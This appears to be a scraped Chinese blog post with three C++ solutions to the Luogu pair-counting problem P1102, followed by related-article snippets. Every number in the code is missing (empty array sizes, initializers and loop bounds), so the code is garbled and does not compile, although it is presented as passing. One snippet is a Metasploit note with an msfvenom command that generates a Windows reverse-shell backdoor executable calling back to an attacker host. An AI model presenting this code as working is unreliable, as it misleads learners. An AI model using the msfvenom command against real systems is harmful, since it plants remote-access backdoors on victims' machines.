P1102 A-B 数对
P1102题库链接:https://www.luogu.org/problem/P1102
难度:普及-
算法标签:模拟,数论,排序,HASH,概率论,二分查找
1.朴素 O(n^2) 得分76
将输入所有的数依次作为被减数,除此数外其他数依次作为减数,每当有一组的差为1时,方案数ans + 1
#include <cstdio>
using namespace std;
int main()
{
int n, c, s[], ans = ;
scanf("%d%d", &n, &c);
for(int i = ; i < n; ++i)
scanf("%d", &s[i]);
for(int i = ; i < n; ++i)
{
for(int j = ; j < n; ++j)
{
if(i == j) continue;
if(s[i] - s[j] == c) ++ans;
}
}
printf("%d\n", ans);
return ;
}
2.桶优化 O(n) 得分84
每输入一个数,所对应的桶增加,因为A - B = C -> A - C = B,枚举每一种A的可能值,从而用A - C求出B,若A,B存在(即桶不为0),则方案数ans += t[A] * t[B]
#include <cstdio>
using namespace std;
int main()
{
int n, c, ans = , t[] = {};
scanf("%d%d", &n, &c);
for(int i = ; i < n; ++i)
{
int x;
scanf("%d", &x);
++t[x];
}
for(int i = c; i <= ; ++i)
if(t[i] != && t[i - c] != )
ans += t[i] * t[i - c];
printf("%d\n", ans);
return ;
}
3.map优化 AC
#include <cstdio>
#include <map>
using namespace std;
long long a[];
map<long long, long long> m;
int main()
{
long long n, c, ans = ;
scanf("%lld%lld", &n, &c);
for(int i = ; i < n; ++i)
{
scanf("%lld", &a[i]);
++m[a[i]];
a[i] -= c;
}
for(int i = ; i < n; ++i)
ans += m[a[i]];
printf("%lld\n", ans);
return ;
}
P1102 A-B 数对的更多相关文章
- 洛谷 P1102 A−B数对
题目描述 出题是一件痛苦的事情! 题目看多了也有审美疲劳,于是我舍弃了大家所熟悉的 A+BA+BA+B ProblemProblemProblem ,改用 A−BA-BA−B 了哈哈! 好吧,题目是这 ...
- 【洛谷】【二分查找】P1102 A−B数对
[题目描述:] 给出一串数以及一个数字 C ,要求计算出所有 A−B=C 的数对的个数.(不同位置的数字一样的数对算不同的数对) [输入格式:] 第一行包括 2 个非负整数 N 和 C ,中间用空格隔 ...
- P1102 A-B数对
P1102 A-B数对用map过掉,可以当高效的桶排用,map<long long,int>m;意思是m[long long]==int; #include<iostream> ...
- 洛谷P1102 A-B数对
洛谷P1102 A-B数对 https://www.luogu.org/problem/show?pid=1102 题目描述 出题是一件痛苦的事情! 题目看多了也有审美疲劳,于是我舍弃了大家所熟悉的A ...
- 洛谷——P1102 A-B数对
P1102 A-B数对 题目描述 出题是一件痛苦的事情! 题目看多了也有审美疲劳,于是我舍弃了大家所熟悉的A+B Problem,改用A-B了哈哈! 好吧,题目是这样的:给出一串数以及一个数字C,要求 ...
- 洛谷 P1102 A-B数对
P1102 A-B数对 题目描述 出题是一件痛苦的事情! 题目看多了也有审美疲劳,于是我舍弃了大家所熟悉的A+B Problem,改用A-B了哈哈! 好吧,题目是这样的:给出一串数以及一个数字C,要求 ...
- 洛谷 P1102 A-B数对 题解
P1102 A-B 数对 题目描述 出题是一件痛苦的事情! 题目看多了也有审美疲劳,于是我舍弃了大家所熟悉的 A+B Problem,改用 A-B 了哈哈! 好吧,题目是这样的:给出一串数以及一个数字 ...
- luogu P1102 A-B 数对 |二分查找
题目描述 出题是一件痛苦的事情! 题目看多了也有审美疲劳,于是我舍弃了大家所熟悉的 A+B Problem,改用 A-B 了哈哈! 好吧,题目是这样的:给出一串数以及一个数字 C,要求计算出所有 A- ...
- Linux上如何查看物理CPU个数,核数,线程数
首先,看看什么是超线程概念 超线程技术就是利用特殊的硬件指令,把两个逻辑内核模拟成两个物理芯片,让单个处理器都能使用线程级并行计算,进而兼容多线程操作系统和软件,减少了CPU的闲置时间,提高的CPU的 ...
随机推荐
- SVN一直清理解决
svn作为我们经常使用的版本管理服务器,在使用过程中经常需要通过clean up操作来完成本地文件与服务器文件信息及版本信息同步,然而有时会在执行清理命令时提示“清理失败,请执行清理”,并且提示的中文 ...
- 2)#ifndef和#pragma once
#################################################################################################### ...
- Metasploit笔记
生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe 生成PHP后门 m ...
- shell、cmd、dos和脚本语言
问题一:Shell是什么? 操作系统可以分成核心(kernel)和Shell(外壳)两部分,其中,Shell是操作系统与外部的主要接口,位于操作系统的外层,为用户提供与操作系统核心沟通的途径.Shel ...
- resent|aspiration|deficiency|diagnosed|distract|emphasize
VERB 怨恨;憎恶;愤恨If you resent someone or something, you feel bitter and angry about them. She resents h ...
- Eclipse创建java web工程
Eclipse创建java web工程 eclipse版本:eclipse-jee-4.5-win32-x64 tomcat版本:apache-tomcat-7.0.63-windows-x64 jd ...
- 网页title滚动
); var leftstar=title.substring (1,title.length ); document.title =leftstar +firstch ; ...
- 线程、volatile与synchronized、Lock
目录 线程 1.概念: 2.线程生命周期: 3.线程调度 4.线程实现 4.1.实现方式 4.2.之间的区别: 5.线程安全 5.1.volatile与synchronized 5.1.synchro ...
- JavaScript 事件代理
转自:http://www.cnblogs.com/silence516/archive/2009/09/03/delegateEvent.html 如果你想给网页添加点JavaScript的交互性, ...
- .net批量插入数据库,SqlBulkCopy方法
/// <summary> /// 把数据插入LessonQuestion表 /// </summary> /// <param name="lessontit ...